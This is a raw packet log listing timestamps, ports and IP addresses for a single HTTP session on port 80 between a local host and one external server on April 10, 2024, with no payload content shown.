Apr 10, 2024 10:23:11.793135881 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793207884 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.793220043 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793258905 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793328047 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793339968 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793353081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793370008 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.793395042 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.793414116 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793450117 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.793483019 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793495893 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793545008 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793601990 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.793621063 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793701887 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793715000 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793715954 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.793730021 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793756008 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793771029 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793791056 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.793791056 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.793807030 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793847084 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.793874025 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793927908 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793984890 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.793998957 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794008970 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794014931 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794025898 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794054031 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794054031 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794095039 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794107914 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794121027 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794135094 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794152975 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794159889 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794159889 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794167995 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794183016 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794189930 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794198036 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794233084 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794308901 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794322014 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794339895 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794353008 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794363976 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794363976 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794373989 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794388056 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794409037 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794409037 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794409037 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794421911 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794433117 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794469118 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794469118 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794500113 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794512033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794523954 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794536114 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794548035 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794559002 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794563055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794570923 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794581890 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794606924 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794606924 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794671059 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794684887 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794696093 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794707060 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794712067 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794718981 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794728994 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794739962 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794754982 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794768095 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794780016 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794791937 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794794083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794806004 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794817924 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794828892 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794837952 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794841051 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794853926 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794866085 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794877052 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794883966 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794883966 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794888973 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794902086 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794913054 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794924021 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794926882 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794926882 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794936895 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794956923 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.794960022 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794970989 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794981956 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.794992924 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795003891 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.795003891 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.795005083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795020103 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795031071 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795034885 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.795042038 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795054913 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795066118 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795079947 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.795080900 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.795087099 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795099974 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795130968 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795140982 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.795140982 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.795141935 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795155048 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795237064 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.795413017 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795444965 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.795450926 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.795816898 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.796732903 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.796746969 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.796756983 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.796762943 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.796792984 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.796803951 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.796804905 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.796803951 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.796833992 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.796838045 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.796849966 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.796876907 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.806123018 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.807951927 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.807970047 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.807981014 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.807991982 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808003902 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808013916 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.808016062 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808031082 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808043003 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808051109 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.808074951 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.808310986 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808346033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808357954 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808367014 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.808439970 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808453083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808464050 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808474064 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808485985 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808491945 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.808492899 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.808500051 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808511019 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808537006 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.808537006 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.808567047 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808581114 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808592081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808604956 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.808629990 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.808629990 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.808898926 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809005976 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809019089 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809031010 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809051037 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.809096098 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809108019 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809120893 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809125900 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.809134007 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809146881 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809159994 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.809160948 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809180021 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809192896 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809205055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.809205055 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809217930 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809230089 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809236050 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.809242964 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809254885 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809264898 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.809264898 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.809267998 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809283018 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809305906 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809314966 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.809314966 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.809334040 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809349060 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.809386015 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.810128927 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.810199976 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.837275982 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.837409019 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951508045 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951539993 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951556921 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951572895 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951586962 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951601028 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951615095 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951633930 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951634884 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951636076 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951648951 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951664925 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951673031 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951673031 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951682091 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951695919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951705933 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951709032 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951723099 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951735973 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951749086 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951760054 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951760054 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951761007 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951776028 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951813936 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951813936 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951844931 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951858044 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951870918 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951884031 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951896906 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951904058 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951911926 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951931953 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.951957941 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.951957941 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.952431917 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952450037 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952594042 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952609062 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952624083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952635050 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.952635050 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.952637911 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952655077 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952670097 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952696085 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.952696085 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.952815056 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952831030 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952908993 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952924013 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.952950954 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.952950954 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.952986956 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953001976 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953085899 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953099966 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953114033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953130007 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953130007 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953134060 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953305960 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953321934 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953351974 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953351974 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953376055 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953391075 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953411102 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953427076 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953439951 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953450918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953450918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953453064 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953507900 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953521967 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953546047 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953546047 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953562975 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953577042 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953591108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953604937 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953619003 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953634977 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953634977 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953645945 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953660011 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953674078 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953686953 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953699112 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953699112 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953700066 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953785896 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953799963 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953814030 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953823090 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953823090 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953826904 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953867912 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953881025 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.953907967 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.953907967 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.954001904 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954016924 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954032898 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954046011 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954049110 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.954058886 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954075098 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954094887 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954102993 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.954102993 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.954108000 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954123020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954140902 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954174042 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.954174042 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.954241037 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954255104 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.954271078 CEST	80	49705	216.250.255.115	192.168.2.5
